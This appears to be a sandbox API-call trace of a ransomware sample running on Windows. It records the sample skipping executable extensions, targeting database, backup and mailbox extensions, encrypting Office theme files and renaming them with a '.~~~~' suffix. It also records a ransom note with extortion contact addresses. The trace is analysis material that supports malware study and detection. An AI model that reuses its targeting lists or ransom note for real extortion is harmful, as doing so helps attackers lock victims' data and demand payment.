	[0086.011] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.011] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.011] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.011] CloseHandle (hObject=0x128) returned 1
	[0086.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.~~~~")) returned 1
	[0086.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.012] GetLastError () returned 0x0
	[0086.012] RtlWakeConditionVariable () returned 0x365f70
	[0086.012] GetCurrentThreadId () returned 0x3a4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".scr") returned 0x0
	[0086.013] lstrlenW (lpString=".cmd") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".cmd") returned 0x0
	[0086.013] lstrlenW (lpString=".dll") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dll") returned 0x0
	[0086.013] lstrlenW (lpString=".bat") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".bat") returned 0x0
	[0086.013] lstrlenW (lpString=".cpl") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".cpl") returned 0x0
	[0086.013] lstrlenW (lpString=".sys") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".sys") returned 0x0
	[0086.013] lstrlenW (lpString=".msc") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".msc") returned 0x0
	[0086.013] lstrlenW (lpString=".com") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".com") returned 0x0
	[0086.013] lstrlenW (lpString=".lnk") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".lnk") returned 0x0
	[0086.013] lstrlenW (lpString=".msp") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".msp") returned 0x0
	[0086.013] lstrlenW (lpString=".pif") returned 4
	[0086.013] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".pif") returned 0x0
	[0086.013] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.015] lstrlenW (lpString=".sqb") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".sqb") returned 0x0
	[0086.015] lstrlenW (lpString=".ost") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".ost") returned 0x0
	[0086.015] lstrlenW (lpString=".txt") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".txt") returned 0x0
	[0086.015] lstrlenW (lpString=".mdt") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".mdt") returned 0x0
	[0086.015] lstrlenW (lpString=".BDB") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".BDB") returned 0x0
	[0086.015] lstrlenW (lpString=".eql") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".eql") returned 0x0
	[0086.015] lstrlenW (lpString=".DBF") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DBF") returned 0x0
	[0086.015] lstrlenW (lpString=".EQL") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".EQL") returned 0x0
	[0086.015] lstrlenW (lpString=".FDB") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".FDB") returned 0x0
	[0086.015] lstrlenW (lpString=".EDB") returned 4
	[0086.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".EDB") returned 0x0
	[0086.015] lstrlenW (lpString=".DACPAC") returned 7
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.016] lstrlenW (lpString=".VHD") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".VHD") returned 0x0
	[0086.016] lstrlenW (lpString=".DBV") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DBV") returned 0x0
	[0086.016] lstrlenW (lpString=".dacpac") returned 7
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dacpac") returned 0x0
	[0086.016] lstrlenW (lpString=".sdf") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".sdf") returned 0x0
	[0086.016] lstrlenW (lpString=".accdb") returned 6
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".accdb") returned 0x0
	[0086.016] lstrlenW (lpString=".DBX") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DBX") returned 0x0
	[0086.016] lstrlenW (lpString=".MDT") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".MDT") returned 0x0
	[0086.016] lstrlenW (lpString=".SQB") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".SQB") returned 0x0
	[0086.016] lstrlenW (lpString=".vhd") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".vhd") returned 0x0
	[0086.016] lstrlenW (lpString=".bac") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".bac") returned 0x0
	[0086.016] lstrlenW (lpString=".mdf") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".mdf") returned 0x0
	[0086.016] lstrlenW (lpString=".BAK") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".BAK") returned 0x0
	[0086.016] lstrlenW (lpString=".BAC") returned 4
	[0086.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".BAC") returned 0x0
	[0086.017] lstrlenW (lpString=".dbs") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dbs") returned 0x0
	[0086.017] lstrlenW (lpString=".vhdx") returned 5
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".vhdx") returned 0x0
	[0086.017] lstrlenW (lpString=".NDF") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".NDF") returned 0x0
	[0086.017] lstrlenW (lpString=".dat") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dat") returned 0x0
	[0086.017] lstrlenW (lpString=".DBS") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DBS") returned 0x0
	[0086.017] lstrlenW (lpString=".CKP") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".CKP") returned 0x0
	[0086.017] lstrlenW (lpString=".edb") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".edb") returned 0x0
	[0086.017] lstrlenW (lpString=".PST") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".PST") returned 0x0
	[0086.017] lstrlenW (lpString=".dbf") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dbf") returned 0x0
	[0086.017] lstrlenW (lpString=".SQL") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".SQL") returned 0x0
	[0086.017] lstrlenW (lpString=".pst") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".pst") returned 0x0
	[0086.017] lstrlenW (lpString=".dbv") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dbv") returned 0x0
	[0086.017] lstrlenW (lpString=".SDF") returned 4
	[0086.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".SDF") returned 0x0
	[0086.017] lstrlenW (lpString=".dtxs") returned 5
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dtxs") returned 0x0
	[0086.018] lstrlenW (lpString=".db3") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".db3") returned 0x0
	[0086.018] lstrlenW (lpString=".OST") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".OST") returned 0x0
	[0086.018] lstrlenW (lpString=".dbx") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dbx") returned 0x0
	[0086.018] lstrlenW (lpString=".DB3") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DB3") returned 0x0
	[0086.018] lstrlenW (lpString=".DAT") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DAT") returned 0x0
	[0086.018] lstrlenW (lpString=".VHDX") returned 5
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".VHDX") returned 0x0
	[0086.018] lstrlenW (lpString=".ndf") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".ndf") returned 0x0
	[0086.018] lstrlenW (lpString=".DB") returned 3
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DB") returned 0x0
	[0086.018] lstrlenW (lpString=".sql") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".sql") returned 0x0
	[0086.018] lstrlenW (lpString=".MYD") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".MYD") returned 0x0
	[0086.018] lstrlenW (lpString=".DBT") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DBT") returned 0x0
	[0086.018] lstrlenW (lpString=".ACCDB") returned 6
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.018] lstrlenW (lpString=".fdb") returned 4
	[0086.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".fdb") returned 0x0
	[0086.018] lstrlenW (lpString=".bak") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".bak") returned 0x0
	[0086.019] lstrlenW (lpString=".myd") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".myd") returned 0x0
	[0086.019] lstrlenW (lpString=".DTXS") returned 5
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".DTXS") returned 0x0
	[0086.019] lstrlenW (lpString=".ckp") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".ckp") returned 0x0
	[0086.019] lstrlenW (lpString=".dbt") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".dbt") returned 0x0
	[0086.019] lstrlenW (lpString=".db") returned 3
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".db") returned 0x0
	[0086.019] lstrlenW (lpString=".TXT") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".TXT") returned 0x0
	[0086.019] lstrlenW (lpString=".MDF") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".MDF") returned 0x0
	[0086.019] lstrlenW (lpString=".bdb") returned 4
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".bdb") returned 0x0
	[0086.019] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.019] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.021] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.021] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.021] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20601128852) returned 1
	[0086.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d15f530, dwHighDateTime=0x1d60e1e)) 
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a62e8
	[0086.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62e8 | out: hHeap=0x300000) returned 1
	[0086.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0086.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874ef0
	[0086.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0086.022] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.022] GetLastError () returned 0x0
	[0086.022] GetLastError () returned 0x0
	[0086.022] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.022] GetLastError () returned 0x0
	[0086.022] GetLastError () returned 0x0
	[0086.025] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffebec3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.025] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1413d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1413d, lpOverlapped=0x0) returned 1
	[0086.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.026] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.026] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.026] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.026] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.026] CloseHandle (hObject=0x128) returned 1
	[0086.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0086.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.~~~~")) returned 1
	[0086.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0086.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.243] GetLastError () returned 0x0
	[0086.243] RtlWakeConditionVariable () returned 0x365f70
	[0086.243] GetCurrentThreadId () returned 0x3a4
	[0086.288] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.288] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.289] CloseHandle (hObject=0x120) returned 1
	[0086.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0086.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0086.290] RtlWakeConditionVariable () returned 0x365f70
	[0086.290] GetCurrentThreadId () returned 0x3a4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".scr") returned 0x0
	[0086.290] lstrlenW (lpString=".cmd") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".cmd") returned 0x0
	[0086.290] lstrlenW (lpString=".dll") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dll") returned 0x0
	[0086.290] lstrlenW (lpString=".bat") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".bat") returned 0x0
	[0086.290] lstrlenW (lpString=".cpl") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".cpl") returned 0x0
	[0086.290] lstrlenW (lpString=".sys") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".sys") returned 0x0
	[0086.290] lstrlenW (lpString=".msc") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".msc") returned 0x0
	[0086.290] lstrlenW (lpString=".com") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".com") returned 0x0
	[0086.290] lstrlenW (lpString=".lnk") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".lnk") returned 0x0
	[0086.290] lstrlenW (lpString=".msp") returned 4
